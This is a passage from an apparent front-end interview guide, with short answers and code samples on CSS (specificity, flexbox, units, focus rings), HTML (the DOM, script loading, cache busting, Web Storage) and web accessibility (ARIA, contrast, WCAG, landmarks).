  • Margin collapsing
  • Outline takes no space
.card {
  width: 200px;
  padding: 16px;
  border: 2px solid;
  margin: 24px;
}
/* content-box: rendered width = 200 + 2×16 + 2×2 = 236px */

.card.border-box {
  box-sizing: border-box;
}
/* border-box: rendered width = 200px; the content shrinks to 164px */
  • Most resets apply *, *::before, *::after { box-sizing: border-box; } so widths mean what they say.
  • Vertical margins collapse: two adjacent block margins of 24px and 16px give a 24px gap, not 40px. Flex and grid items don't collapse.
  • outline and box-shadow are drawn outside the border but take no space in the layout.
  • Inline elements (<span>) ignore width, height and vertical margins.
InteractiveDrag the sliders and orbit the box: each layer is a slab, and box-sizing changes which one width measures.
loading demo…
02Can you describe how CSS specificity works?SeniorCSSdemo
IN 30 SECONDS

When several rules set the same property on an element, the most specific selector wins. Specificity is a three-part score (A, B, C): A counts IDs; B counts classes, attributes and pseudo-classes; C counts element types and pseudo-elements. Scores are compared column by column from the left, so one ID beats any number of classes. Equal scores fall back to source order: the later rule wins.

GOOD TO HEAR
  • (ID, class, type) columns
  • Compared left to right
  • Inline styles and !important
  • Source order for ties
  • :is/:not/:has vs :where
  • Cascade layers
SelectorSpecificity (A, B, C)
li(0, 0, 1)
ul li::marker(0, 0, 3)
.item(0, 1, 0)
li.item[data-new]:hover(0, 3, 1)
#menu .item(1, 1, 0)
:is(#menu, .nav) a(1, 0, 1): :is() takes its most specific argument
:where(#menu) a(0, 0, 1): :where() always counts zero
*, >, +, ~(0, 0, 0)
  • Inline styles (style="...") beat any selector.
  • !important moves a declaration to a higher layer of the cascade; among important declarations, specificity applies again.
  • Before specificity, the cascade checks origin and importance, then cascade layers (@layer): a rule in a later layer wins over a more specific rule in an earlier one.
  • :not(), :is() and :has() count as their most specific argument; :where() lets libraries ship styles that are trivial to override.

The trap: Fighting specificity with more IDs or !important escalates. Keep selectors flat (one class, as in BEM), and use @layer to order third-party, base and component styles.

InteractiveType two selectors and see which wins, and why, column by column.
loading demo…
03What is the difference between + and ~ sibling selectors?SeniorCSSdemo
IN 30 SECONDS

Both match elements that come after another element under the same parent. A + B (adjacent sibling) matches a B that comes immediately after an A. A ~ B (general sibling) matches every B that comes anywhere after an A. Neither looks backwards or into other parents.

GOOD TO HEAR
  • + immediately next sibling
  • ~ all following siblings
  • Same parent, forward only
  • :has() for the reverse
<article>
  <h2>Title</h2>
  <p>First paragraph</p>   <!-- matched by h2 + p and h2 ~ p -->
  <p>Second paragraph</p>  <!-- matched by h2 ~ p only -->
  <img src="a.png" alt="" />
  <p>After the image</p>   <!-- matched by h2 ~ p only -->
</article>
h2 + p { font-size: 1.25em; }        /* the lead paragraph */
h2 ~ p { color: var(--muted); }      /* every paragraph after the heading */
input:checked + label { font-weight: bold; }

To style an element based on what comes after it (a "previous sibling" selector), use :has(): h2:has(+ p) matches an h2 immediately followed by a p.

InteractiveMove the heading around and watch which siblings each selector matches.
loading demo…
04What is the difference between em and rem units?MidCSSdemo
IN 30 SECONDS

Both are relative to a font size. rem is relative to the root element's font size (<html>, 16px by default), so 1.5rem means the same everywhere. em is relative to the current element's font size (and, for font-size itself, the parent's), so it compounds when elements are nested.

GOOD TO HEAR
  • rem: root font size
  • em: element's (parent's for font-size)
  • em compounds when nested
  • Respect user font settings
  • When to use each
html { font-size: 100%; }          /* 16px, or whatever the user set */

.list { font-size: 1.2em; }        /* nested three deep: 16 × 1.2 × 1.2 × 1.2 ≈ 27.6px */
.title { font-size: 1.5rem; }      /* always 24px */

.button {
  font-size: 1rem;
  padding: 0.5em 1em;              /* scales with the button's own font size */
}
  • rem for type scale and spacing: predictable, and it follows the user's browser font-size setting.
  • em for things that should scale with their component's text: padding and icon sizes in buttons, so a .button.large grows as a whole.
  • Setting html { font-size: 62.5% } to make 1rem = 10px works but fights user settings; most teams now keep 100% and think in rems.
  • Media queries in em or rem use the browser's default font size, not your root style.
InteractiveNest the boxes and change the root size: em boxes compound, rem boxes don't.
loading demo…
05Using flexbox, create a 3-column layout where each column takes up a col-{n} / 12 ratio of the container.JuniorCSSdemo
THE QUESTION'S CODE
<div class="row">
  <div class="col-2"></div>
  <div class="col-7"></div>
  <div class="col-3"></div>
</div>
Show the answer
IN 30 SECONDS

Make .row a flex container and give each column a flex-grow equal to its n, with a zero basis: .col-2 { flex: 2 }, .col-7 { flex: 7 }, .col-3 { flex: 3 }. The shorthand flex: n means n 1 0%, so the space is shared in the ratio 2 : 7 : 3, which here is exactly n/12.

GOOD TO HEAR
  • display: flex on the row
  • flex: n sets the grow ratio
  • flex: n = n 1 0%
  • Gap and basis caveats
  • Grid alternative
.row {
  display: flex;
  gap: 16px;
}
.col-2 { flex: 2; }
.col-7 { flex: 7; }
.col-3 { flex: 3; }

flex-grow alone shares the remaining space, and only matches n/12 when the columns add up to 12. A grid-system answer that fixes each column to n/12 of the row regardless of its siblings sets the basis instead:

.row { display: flex; flex-wrap: wrap; }
[class^="col-"] { flex: 0 0 auto; }
.col-2 { width: calc(2 / 12 * 100%); }
.col-3 { width: calc(3 / 12 * 100%); }
.col-7 { width: calc(7 / 12 * 100%); }
  • With gap, the percentage version overflows: subtract the gaps or use the flex-grow version, which absorbs them.
  • Content can stop an item from shrinking below its minimum content width; min-width: 0 on the column fixes overflowing text.
  • CSS Grid says the same thing more directly: grid-template-columns: 2fr 7fr 3fr, or repeat(12, 1fr) with grid-column: span n.
InteractiveChange each column's n and compare the grow-based and width-based versions with a gap.
loading demo…
06What is a focus ring? What is the correct solution to handle them?SeniorCSSAccessibilitydemo
IN 30 SECONDS

The focus ring is the outline a browser draws around the focused element. Keyboard users depend on it to know where they are, so removing it (outline: none) without a replacement fails WCAG. Style it with :focus-visible, which the browser applies when focus should be visible (keyboard navigation, text inputs) and skips for a mouse click on a button.

GOOD TO HEAR
  • Visible indicator of keyboard focus
  • Never remove without a replacement
  • :focus-visible
  • outline over box-shadow for forced colors
  • WCAG focus criteria
/* Never this on its own: */
/* button:focus { outline: none; } */

:focus-visible {
  outline: 3px solid var(--focus-color, #1a73e8);
  outline-offset: 2px;
}

/* Only if a design insists on hiding focus for mouse users: */
:focus:not(:focus-visible) {
  outline: none;
}
  • :focus-visible is supported in every modern browser (since 2022), so the old JavaScript polyfill is no longer needed.
  • Use outline rather than box-shadow: Windows high-contrast (forced colors) mode keeps outlines and removes shadows.
  • WCAG 2.2 adds Focus Not Obscured (2.4.11): a sticky header must not hide the focused element. Make the ring contrast at least 3:1 with its background.
  • :focus-within styles a container while anything inside it has focus.
InteractiveClick the buttons with the mouse, then Tab to them: only one style responds to both.
loading demo…
07Can you name the four types of @media properties?JuniorCSSdemo
IN 30 SECONDS

The four media types are all (every device, the default), print (printed pages and print preview), screen (anything with a screen) and speech (speech synthesisers). Most real queries combine a type with media features, such as width, orientation, hover and prefers-color-scheme.

GOOD TO HEAR
  • all, print, screen, speech
  • Media features
  • Range syntax
  • User-preference queries
  • Container queries
@media print {
  nav, .ads { display: none; }
  a[href]::after { content: " (" attr(href) ")"; }
}

@media screen and (width >= 48rem) {
  .layout { grid-template-columns: 16rem 1fr; }
}

@media (prefers-reduced-motion: reduce) {
  * { animation-duration: 0.01ms !important; transition-duration: 0.01ms !important; }
}

@media (hover: hover) and (pointer: fine) {
  .card:hover { transform: translateY(-2px); }
}
  • Older types (tv, handheld, projection, aural, ...) are deprecated and match nothing.
  • speech is defined but browsers and screen readers don't apply it; don't rely on it for accessibility.
  • The range syntax (width >= 48rem) replaces (min-width: 48rem) and is supported everywhere current.
  • For component-level responsiveness, container queries (@container) respond to the parent's size instead of the viewport's.
InteractiveResize the frame and see which queries match the simulated viewport.
loading demo…
08What are the advantages of using CSS sprites and how are they utilized?MidCSSdemo
IN 30 SECONDS

A sprite sheet combines many small images into one file. Each element shows its slice by setting the sheet as background-image and moving it with background-position, inside a box the size of one icon. One file means fewer HTTP requests and no flicker on hover, because every state is already loaded.

GOOD TO HEAR
  • Fewer HTTP requests
  • background-position to select
  • Hover states preloaded
  • HTTP/2 reduces the benefit
  • SVG <symbol> sprites today
.icon {
  width: 24px;
  height: 24px;
  background-image: url("/icons.png");
  background-repeat: no-repeat;
}
.icon-home   { background-position: 0 0; }
.icon-search { background-position: -24px 0; }
.icon-user   { background-position: -48px 0; }
  • Why it mattered: under HTTP/1.1, browsers opened about six connections per host and every request paid a round trip. HTTP/2 and HTTP/3 multiplex many requests on one connection, so the gain is now much smaller.
  • Downsides: editing the sheet means regenerating it and its coordinates; one changed icon invalidates the cache for all of them; sprites as backgrounds have no alt text.
  • Today: SVG icons are the common choice, either inline or as an SVG sprite of <symbol>s used with <svg><use href="#search"/></svg>, which scale crisply and take currentColor.
  • For high-density screens, ship a 2× sheet and set background-size to the 1× size.
InteractivePick an icon and watch the window slide over the sheet as background-position changes.
loading demo…
09What is CSS BEM?JuniorCSS
IN 30 SECONDS

BEM (Block, Element, Modifier) is a class-naming convention: .block for a standalone component, .block__element for a part of it, and .block--modifier (or .block__element--modifier) for a variant. Every selector is a single class, so specificity stays flat, names don't collide, and the markup says how pieces relate.

GOOD TO HEAR
  • Block, Element, Modifier
  • __ and -- separators
  • Single-class, flat specificity
  • Avoids naming collisions
  • Alternatives: CSS Modules, utility CSS
<form class="search search--compact">
  <input class="search__input" />
  <button class="search__button search__button--primary">Go</button>
</form>
.search { display: flex; gap: 8px; }
.search--compact { gap: 4px; }
.search__input { flex: 1; }
.search__button--primary { background: var(--brand); }
  • Elements belong to the block, not to each other: .search__icon, never .search__button__icon.
  • A modifier is used together with the base class: class="search search--compact".
  • The benefit is predictability in large shared stylesheets. CSS Modules, scoped styles, @scope and utility-first CSS (Tailwind) solve the same collision problem in other ways, which is why BEM is less common in component-based apps.

Interview line: BEM trades verbose class names for flat specificity and zero guessing about where a style applies.

10What are the advantages of using CSS preprocessors?JuniorCSS
IN 30 SECONDS

Preprocessors like Sass, Less and Stylus add programming features to CSS and compile to plain CSS: variables, nesting, mixins, functions, loops, maths, and partials combined into one file. They made large stylesheets easier to organise and keep consistent. Native CSS has since gained custom properties, nesting, color-mix(), calc() and cascade layers, so many projects now need much less of them.

GOOD TO HEAR
  • Variables, nesting, mixins, functions, partials
  • Compile to CSS
  • Maintainability and DRY
  • Native CSS now covers much of it
  • Static variables vs custom properties
Sass
// Sass (SCSS syntax)
$radius: 8px;

@mixin focus-ring($color) {
  outline: 3px solid $color;
  outline-offset: 2px;
}

.button {
  border-radius: $radius;
  &:focus-visible { @include focus-ring(royalblue); }
  &--large { padding: 1rem 2rem; }
}
The same ideas in native CSS
:root { --radius: 8px; }

.button {
  border-radius: var(--radius);
  &:focus-visible { outline: 3px solid royalblue; outline-offset: 2px; }
  background: color-mix(in oklch, royalblue, white 20%);
}
  • Sass variables are static, resolved at build time; custom properties are live: they cascade, can change per element or media query, and can be set from JavaScript.
  • Mixins and loops still have no direct native equivalent, which is where Sass keeps an edge in design-system code.
  • PostCSS is a different tool: plugins that transform standard CSS (autoprefixing, future syntax), rather than a new language.
HTML

HTML and the document

Markup, the DOM it becomes, how scripts and caches load it, and where the specification ends and the browser begins.

9
01What is the DOM?MidHTMLJavaScriptdemo
IN 30 SECONDS

The Document Object Model is the tree of objects a browser builds from an HTML document, and the API for reading and changing it. Each element, piece of text and comment becomes a node with a parent and children; JavaScript uses the DOM to find nodes, change their content, attributes and styles, and listen for events, and the browser re-renders to match.

GOOD TO HEAR
  • Tree of nodes built from HTML
  • API for JavaScript
  • Not the same as the source
  • Node types, elements vs nodes
  • Live vs static collections
<ul id="list">
  <li class="done">Write</li>
</ul>
const list = document.getElementById("list");
const item = document.createElement("li");
item.textContent = "Review";
list.append(item);
console.log(list.children.length, list.childNodes.length);
// 2 elements, but 4 nodes: the whitespace between tags is text nodes too
  • The DOM is not the HTML source: the parser fixes broken markup (adds <tbody>, closes tags), and scripts change it after load. DevTools' Elements panel shows the DOM, not the source.
  • Node types: Document, Element, Text, Comment, DocumentFragment. children lists element children only; childNodes includes text and comments.
  • Live vs static: getElementsByClassName returns a live collection that updates; querySelectorAll returns a static snapshot.
  • Cost: reading layout (offsetHeight) right after writing styles forces a synchronous layout. Batch reads and writes.
InteractiveEdit the markup: the tree is what the browser's parser actually builds, whitespace and fixes included.
loading demo…
02What is the purpose of the alt attribute on images?JuniorHTMLAccessibilitydemo
IN 30 SECONDS

alt is the image's text alternative. Screen readers read it instead of the image, browsers show it when the image fails to load, and search engines index it. Describe what the image conveys in context; for purely decorative images use an empty alt="", which tells assistive technology to skip it.

GOOD TO HEAR
  • Text alternative for screen readers
  • Shown when the image fails
  • Empty alt for decorative images
  • Describe purpose in context
  • WCAG 1.1.1
<!-- Informative: say what it shows that matters here -->
<img src="chart.png" alt="Sales doubled between March and June" />

<!-- Functional (inside a link or button): describe the action -->
<a href="/"><img src="logo.svg" alt="Acme home" /></a>

<!-- Decorative: empty, not missing -->
<img src="divider.png" alt="" />
  • A missing alt is not the same as an empty one: screen readers may read the file name instead ("IMG underscore 2041 dot jpg").
  • Don't start with "Image of": the role is already announced.
  • Complex images (charts, diagrams) need a longer description nearby, linked with aria-describedby or a <figcaption>.
  • WCAG 1.1.1 (Non-text Content, level A) requires a text alternative for every meaningful image.
InteractiveBreak the image and switch between missing, empty and written alt text.
loading demo…
03What are defer and async attributes on a <script> tag?MidHTMLJavaScriptdemo
IN 30 SECONDS

A plain <script src> stops the HTML parser while the file downloads and runs. With async, it downloads in parallel and runs as soon as it arrives, pausing the parser briefly, in no guaranteed order. With defer, it downloads in parallel and runs after the document has been parsed, in document order, just before DOMContentLoaded. Module scripts are deferred by default.

GOOD TO HEAR
  • Plain scripts block parsing
  • async: parallel download, runs ASAP, unordered
  • defer: parallel download, runs after parsing, ordered
  • Modules defer by default
  • When to use which
<script src="blocking.js"></script>        <!-- parse stops: download + run -->
<script src="analytics.js" async></script> <!-- independent: runs whenever it arrives -->
<script src="app.js" defer></script>       <!-- needs the DOM: runs after parsing, in order -->
<script type="module" src="main.js"></script> <!-- deferred automatically -->
Blocks parsingRunsOrder keptBefore DOMContentLoaded
plainyes (download and run)immediatelyyesyes
asynconly while runningas soon as downloadednonot guaranteed
defernoafter parsing finishesyesyes
type="module"noafter parsing (like defer)yesyes
type="module" asynconly while runningas soon as it and its imports loadnonot guaranteed
  • Use defer (or modules) for application code that touches the DOM; async for independent scripts such as analytics.
  • Both are ignored on inline scripts (except async on inline modules).
  • A plain script in <head> also waits for preceding stylesheets, because it might read styles.
InteractiveChange the download times and compare the parse timeline for each attribute.
loading demo…
04What is the purpose of cache busting and how can you achieve it?JuniorHTMLdemo
IN 30 SECONDS

Browsers and CDNs cache static files (CSS, JavaScript, images) so pages load fast. After a deploy, those caches can keep serving the old files. Cache busting makes the URL change whenever the content changes, so the new file is fetched while unchanged ones stay cached. The standard way is a content hash in the file name, which bundlers do for you: app.3f9a1c.js.

GOOD TO HEAR
  • Caches serve stale files after deploys
  • Change the URL when content changes
  • Content hashes in file names
  • Long cache + immutable for hashed files
  • Short cache for HTML
<!-- index.html: short-lived, revalidated on each visit -->
<link rel="stylesheet" href="/assets/app.8c2e1f.css" />
<script type="module" src="/assets/app.3f9a1c.js"></script>
# Hashed assets: cache forever, the name changes when the content does
Cache-Control: public, max-age=31536000, immutable

# The HTML that references them: always check for a new version
Cache-Control: no-cache
  • Content hash in the file name (app.[hash].js): only changed files get new URLs. Vite, webpack and Next.js do it automatically.
  • Query strings (app.js?v=42) work in browsers but a few proxies and CDNs ignore or strip them, and a version number busts every file at once.
  • The HTML must not be cached long, or users never learn the new file names.

The trap: Hashing assets but caching index.html for a day means a deploy reaches users a day late.

InteractiveEdit a file's content and watch only its hashed name change, and what that does to the cache.
loading demo…
05Can a web page contain multiple <header> elements? What about <footer> elements?JuniorHTMLdemo
IN 30 SECONDS

Yes to both. <header> and <footer> belong to their nearest sectioning ancestor: the page can have one, and so can every <article>, <section>, <aside> and <nav>. Only the ones that are not inside such an element (or <main>) become the page's banner and contentinfo landmarks.

GOOD TO HEAR
  • Multiple allowed
  • Scoped to the nearest sectioning element
  • Only top-level ones are landmarks
  • No nesting header in header
  • One <main>
<body>
  <header>Site name and navigation</header>   <!-- banner landmark -->
  <main>
    <article>
      <header><h1>Post title</h1><p>By Ada</p></header>  <!-- just a header -->
      <p>...</p>
      <footer>Tags, share links</footer>                  <!-- just a footer -->
    </article>
  </main>
  <footer>© 2026 Example</footer>             <!-- contentinfo landmark -->
</body>
  • A <header> cannot contain another <header> or a <footer>, and the same goes for <footer>.
  • <header> is not the same as <head> (metadata) or a heading (<h1>–<h6>).
  • There should be only one visible <main> per page.
InteractiveToggle where each header and footer sits and watch which become landmarks.
loading demo…
06Briefly describe the correct usage of the following HTML5 semantic elements: <header>, <article>, <section>, <footer>JuniorHTMLAccessibilitydemo
IN 30 SECONDS

<header>: introductory content for the page or a section, such as a logo, title and navigation. <article>: a self-contained piece that would make sense on its own, such as a post, a comment or a product card. <section>: a thematic group of content, normally with its own heading. <footer>: closing information for its section, such as the author, copyright or related links.

GOOD TO HEAR
  • header: introductory content
  • article: self-contained
  • section: thematic, with a heading
  • footer: closing info
  • Benefits for accessibility and SEO
<article>
  <header>
    <h2>Shipping the redesign</h2>
    <p><time datetime="2026-10-20">20 Oct 2026</time></p>
  </header>
  <section>
    <h3>What changed</h3>
    <p>...</p>
  </section>
  <section>
    <h3>What's next</h3>
    <p>...</p>
  </section>
  <footer>Filed under <a href="/tags/design">design</a></footer>
</article>
  • Use <section> only when the content has a heading; otherwise it is a <div>. A <section> becomes a region landmark only when it has an accessible name (aria-labelledby).
  • An <article> can be syndicated or reused elsewhere; nested articles (comments inside a post) are fine.
  • Related elements: <main> for the main content, <nav> for major navigation, <aside> for tangential content, <search> for a search form.

Interview line: Semantic elements give structure to screen readers, search engines and reader modes for free, which a pile of divs with class names does not.

InteractiveHover a region of the wireframe to see its element and the role it exposes.
loading demo…
07What is HTML5 Web Storage? Explain localStorage and sessionStorage.SeniorHTMLJavaScriptdemo
IN 30 SECONDS

Web Storage is a simple, synchronous key-value store of strings, scoped to an origin. localStorage persists until it is cleared, and is shared by every tab of that origin. sessionStorage lives for one tab (top-level browsing context): it survives reloads but is gone when the tab closes, and each tab has its own. Both hold roughly 5 MB per origin and are never sent to the server.

GOOD TO HEAR
  • Origin-scoped key-value strings
  • localStorage persists; sessionStorage per tab
  • ~5 MB, not sent to the server
  • storage event
  • Synchronous; JSON for objects
  • Not for secrets
localStorage.setItem("theme", "dark");
localStorage.getItem("theme"); // "dark"
localStorage.setItem("prefs", JSON.stringify({ compact: true })); // strings only
const prefs = JSON.parse(localStorage.getItem("prefs") ?? "{}");

sessionStorage.setItem("draft", "Half-written comment");
localStorage.removeItem("theme");

window.addEventListener("storage", (event) => {
  // Fires in other tabs of the same origin when localStorage changes.
  console.log(event.key, event.oldValue, event.newValue);
});
localStoragesessionStorageCookiesIndexedDB
Lifetimeuntil cleareduntil the tab closesset by Expires/Max-Ageuntil cleared
Shared across tabsyesnoyesyes
Sent with requestsnonoyesno
Size~5 MB~5 MB~4 KB eachlarge (quota)
APIsync, stringssync, stringsstring headerasync, structured data
  • Calls can throw: storage can be full, disabled, or blocked in some private modes. Wrap reads and writes in try/catch.
  • It is synchronous and on the main thread: fine for small values, not for megabytes.

The trap: Anything in Web Storage is readable by any script on the page, so one XSS bug exposes it. Don't store auth tokens there; an HttpOnly cookie is out of JavaScript's reach.

InteractiveWrite a key to each store, then reload, and then open this page in a second tab.
loading demo…
08Discuss the differences between an HTML specification and a browser's implementation thereof.MidHTMLdemo
IN 30 SECONDS

The specification (today the WHATWG HTML Living Standard) defines what documents should contain and exactly how browsers must parse and process them, including how to recover from invalid markup. Each browser engine (Blink, WebKit, Gecko) implements it separately and on its own schedule, so features ship at different times, and occasionally with bugs or deviations. Developers bridge the gap with feature detection, compatibility data and progressive enhancement.

GOOD TO HEAR
  • Spec defines behaviour, browsers implement it
  • WHATWG Living Standard
  • Error handling is specified
  • Uneven support across engines
  • Feature detection, Baseline, polyfills
Feature detection, not browser sniffing
if ("showPopover" in HTMLElement.prototype) {
  menu.showPopover();
} else {
  menu.hidden = false; // fallback for engines without the Popover API
}

if (CSS.supports("selector(:has(a))")) {
  document.documentElement.classList.add("has-has");
}
  • Living standard: HTML is no longer versioned ("HTML5" was the last big number); it changes continuously as browsers agree.
  • Error handling is specified: since HTML5, every browser parses broken markup the same way. Earlier, each engine guessed differently.
  • Where to check: MDN's compatibility tables, caniuse.com, and Baseline labels, which mark features available in all major browsers.
  • Gaps are filled with polyfills (code implementing a missing API) and transpilers for syntax.
InteractiveThe list is checked live in your browser: these are its own answers.
loading demo…
09What are some differences that XHTML has compared to HTML?MidHTMLdemo
IN 30 SECONDS

XHTML is HTML written as XML and, when served as application/xhtml+xml, parsed by an XML parser. That parser is strict: tags and attributes are case-sensitive and lowercase, every element must be closed (<br />), elements must nest properly, attribute values must be quoted, attributes can't be minimised (checked="checked"), and special characters must be escaped. One error and the page fails to render, where the HTML parser would recover.

GOOD TO HEAR
  • HTML serialized as XML
  • Strict parsing; errors are fatal
  • Lowercase, closed, quoted, no minimisation
  • MIME type picks the parser
  • JSX resembles XHTML
Run in a browser console
const markup = "<p>Unclosed <b>bold<br><input disabled></p>";
const asHtml = new DOMParser().parseFromString(markup, "text/html");
console.log(asHtml.body.innerHTML);
const asXml = new DOMParser().parseFromString(markup, "application/xhtml+xml");
console.log(asXml.querySelector("parsererror") !== null);
HTMLXHTML (served as XML)
Errorsrecovered by the parserfatal: the page shows an error
Caseinsensitivelowercase, case-sensitive
Void elements<br><br />
Attributesdisabled, unquoted values alloweddisabled="disabled", always quoted
document.writeworksnot available

Content type decides the parser, not the doctype: an XHTML document served as text/html is parsed as HTML. JSX borrows XHTML's habits: every tag closes, <br /> and camelCase attributes.

InteractiveFeed the same markup to both parsers and compare what comes out.
loading demo…
Accessibility

Accessibility

How assistive technology sees a page, the standards it is measured against, and the habits that keep an app usable without a mouse or a screen.

7
01What is ARIA and when should you use it?MidAccessibilitydemo
IN 30 SECONDS

WAI-ARIA (Accessible Rich Internet Applications) is a W3C set of attributes that add roles (role="tab"), states (aria-expanded, aria-selected) and properties (aria-label, aria-controls) to elements, so assistive technology can understand custom widgets. Use it only when native HTML can't express the widget: the first rule of ARIA is to use a native element instead, and ARIA changes what is announced, not how anything behaves.

GOOD TO HEAR
  • Roles, states and properties
  • Native HTML first
  • ARIA doesn't add behaviour
  • Keep states in sync
  • Live regions
  • Authoring Practices Guide
<!-- Native first: role, focus, Enter and Space all come free -->
<button type="button" aria-expanded="false" aria-controls="menu">Options</button>
<ul id="menu" hidden>...</ul>

<!-- ARIA where HTML has no element: a tab interface -->
<div role="tablist" aria-label="Settings">
  <button role="tab" aria-selected="true" aria-controls="general" id="tab-general">General</button>
  <button role="tab" aria-selected="false" aria-controls="privacy" id="tab-privacy" tabindex="-1">Privacy</button>
</div>
<div role="tabpanel" id="general" aria-labelledby="tab-general">...</div>
  • No ARIA is better than bad ARIA: a role="button" on a <div> promises keyboard behaviour that you then have to build (tabindex="0", Enter and Space handlers).
  • States must be kept in sync with JavaScript: an aria-expanded="false" on an open menu is worse than nothing.
  • Live regions (aria-live="polite", role="status") announce changes that happen away from focus, such as "Saved" or search result counts.
  • Patterns for common widgets (tabs, combobox, dialog, menu) are in the ARIA Authoring Practices Guide.

The trap: aria-label overrides the visible text for screen readers. If the two differ, voice-control users who say what they see can't activate the control.

InteractiveSwitch between the native button and the div with ARIA, and compare what reaches the accessibility tree.
loading demo…
02What is the Accessibility Tree?MidAccessibilitydemo
IN 30 SECONDS

A tree the browser derives from the DOM (plus CSS and ARIA) and exposes to assistive technology through the platform's accessibility APIs. Each node has a role (button, heading, link), a name ("Save"), a state (checked, expanded) and sometimes a value. It is smaller than the DOM: purely presentational wrappers are dropped, and hidden content is removed.

GOOD TO HEAR
  • Derived from the DOM
  • Exposed to assistive technology
  • Role, name, state, value
  • Fewer nodes than the DOM
  • Semantic HTML builds it correctly
<div class="card">                         <!-- generic: usually ignored -->
  <h2>Plans</h2>                            <!-- heading, level 2, "Plans" -->
  <img src="star.svg" alt="" />             <!-- removed: decorative -->
  <label for="seats">Seats</label>
  <input id="seats" type="number" value="3" /> <!-- spinbutton "Seats", value 3 -->
  <span aria-hidden="true">★★★</span>       <!-- removed -->
  <button>Upgrade</button>                  <!-- button "Upgrade" -->
  <div onclick="upgrade()">Upgrade</div>    <!-- just text: not a button -->
</div>
  • Removed: display: none, visibility: hidden, the hidden attribute, aria-hidden="true", and alt="" images.
  • Names come from content, <label>, alt, aria-labelledby and aria-label, in a specified order (the accessible name computation).
  • Inspect it in Chrome or Firefox DevTools' Accessibility panel; Testing Library's getByRole queries are built on the same idea.

Interview line: Semantic HTML builds a good accessibility tree for free; ARIA patches it where HTML falls short.

InteractivePick a snippet and compare its DOM with the much smaller tree a screen reader gets.
loading demo…
03What is the minimum recommended ratio of contrast between foreground text and background to comply with WCAG? Why does this matter?JuniorAccessibilityCSSdemo
IN 30 SECONDS

4.5:1 for normal text, and 3:1 for large text (at least 24px, or about 18.7px bold), under WCAG success criterion 1.4.3, level AA. Level AAA (1.4.6) raises it to 7:1 and 4.5:1. Low-contrast text is hard or impossible to read for people with low vision or colour-vision deficiencies, and for everyone in sunlight, on a dim screen or with ageing eyes.

GOOD TO HEAR
  • 4.5:1 normal text, 3:1 large text (AA)
  • 7:1 for AAA
  • 3:1 for UI components
  • Low vision and colour deficiency
  • Not colour alone
ContentAAAAA
Normal text4.5:17:1
Large text (≥ 24px, or ≥ 18.66px bold)3:14.5:1
UI components and meaningful graphics (1.4.11)3:1n/a
Disabled controls, logos, decorationexemptexempt

The ratio is (L1 + 0.05) / (L2 + 0.05), where L1 and L2 are the relative luminances of the lighter and darker colours. It runs from 1:1 (identical) to 21:1 (black on white). Pure #777 grey on white is 4.47:1 (checkers round down), just under AA.

  • Contrast is not the only signal: information must not depend on colour alone (1.4.1), so pair a red border with an icon or text.
  • Text over images needs a scrim or text shadow; the check applies to the worst part of the image behind the text.
InteractiveNudge the text colour until AA flips to pass: the ratio is computed live.
loading demo…
04What are some of the tools available to test the accessibility of a website or web application?MidAccessibility
IN 30 SECONDS

Automated checkers find the mechanical problems: axe (the DevTools extension, and axe-core in Playwright, Cypress or jest-axe), Lighthouse, WAVE and eslint-plugin-jsx-a11y in the editor. They catch only part of the issues, so manual testing is essential: use the keyboard alone, test with a screen reader (VoiceOver, NVDA, JAWS, TalkBack), zoom to 200% and 400%, and check focus order and contrast.

GOOD TO HEAR
  • Automated tools (axe, Lighthouse, WAVE)
  • Linting and tests
  • Manual keyboard testing
  • Screen readers
  • Tools miss many issues
import { render, screen } from "@testing-library/react";
import { axe } from "jest-axe";

test("the signup form has no detectable violations", async () => {
  const { container } = render(<SignupForm />);
  // Role queries fail when the accessible name or role is missing.
  screen.getByRole("textbox", { name: "Email" });
  screen.getByRole("button", { name: "Create account" });
  expect(await axe(container)).toHaveNoViolations();
});
LayerToolsCatches
Editoreslint-plugin-jsx-a11ymissing alt, click handlers on non-interactive elements
Unit testsTesting Library getByRole, jest-axemissing names and roles, invalid ARIA
End to end@axe-core/playwright, Cypress axeissues across whole pages and states
Browseraxe DevTools, Lighthouse, WAVE, Accessibility panelcontrast, structure, tree
Manualkeyboard, screen readers, zoom, reduced motionfocus order, traps, meaning, usability

The trap: A clean Lighthouse score is not "accessible": tools can tell that an image has alt text, not whether the text makes sense.

05What is WCAG? What are the differences between A, AA, and AAA compliance?JuniorAccessibilitydemo
IN 30 SECONDS

The Web Content Accessibility Guidelines, published by the W3C's Web Accessibility Initiative. They are organised under four principles (content must be Perceivable, Operable, Understandable and Robust) into testable success criteria, each at a conformance level: A is the essential minimum, AA adds the criteria most laws and policies require, and AAA is the strictest, not expected for whole sites. The current version is WCAG 2.2.

GOOD TO HEAR
  • W3C guidelines
  • POUR principles
  • A, AA, AAA levels
  • AA is the common legal target
  • WCAG 2.2
LevelExamples of criteriaIn practice
Atext alternatives (1.1.1), keyboard access (2.1.1), no keyboard trap (2.1.2), page titles (2.4.2)without these, some users can't use the site at all
AAcontrast 4.5:1 (1.4.3), resize text to 200% (1.4.4), visible focus (2.4.7), consistent navigation (3.2.3)the usual legal and contractual target
AAAcontrast 7:1 (1.4.6), sign language for video (1.2.6), no timing (2.2.3)aimed for where possible, rarely required
  • Each level includes the ones below it: AA conformance means every A and AA criterion passes.
  • WCAG 2.2 (2023) added criteria such as Focus Not Obscured (2.4.11), Target Size minimum 24×24px (2.5.8) and Accessible Authentication (3.3.8).
  • AA is referenced by the ADA case law and Section 508 in the US, EN 301 549 and the European Accessibility Act in the EU.
InteractiveThe same colours can pass AA and fail AAA: find a pair that does.
loading demo…
06What are landmark roles and how can they be useful?MidAccessibilityHTMLdemo
IN 30 SECONDS

Landmarks mark the major regions of a page: banner, navigation, main, complementary, contentinfo, search, form and region. Screen reader users can list them and jump straight to one (to the main content, or the navigation) instead of reading the page from the top. Semantic HTML elements create most of them without any ARIA.

GOOD TO HEAR
  • Regions of the page
  • Navigation for screen reader users
  • HTML elements map to landmarks
  • Label duplicates
  • All content inside landmarks
Landmark roleHTML element
banner<header> not inside article, aside, main, nav or section
navigation<nav>
main<main> (one per page)
complementary<aside>
contentinfo<footer> not inside a sectioning element
search<search>
form, region<form>, <section>, only when they have an accessible name
<header>...</header>
<nav aria-label="Primary">...</nav>
<main>...</main>
<nav aria-label="Footer">...</nav>
<footer>...</footer>
  • When a landmark appears more than once (two <nav>s), label each one so the list reads "Primary navigation" and "Footer navigation".
  • All content should sit inside some landmark, so nothing is skipped when users navigate by them.
  • Writing role="main" on a <div> works, but <main> says it without ARIA.
InteractiveOpen the landmarks list the way a screen reader would and jump between regions.
loading demo…
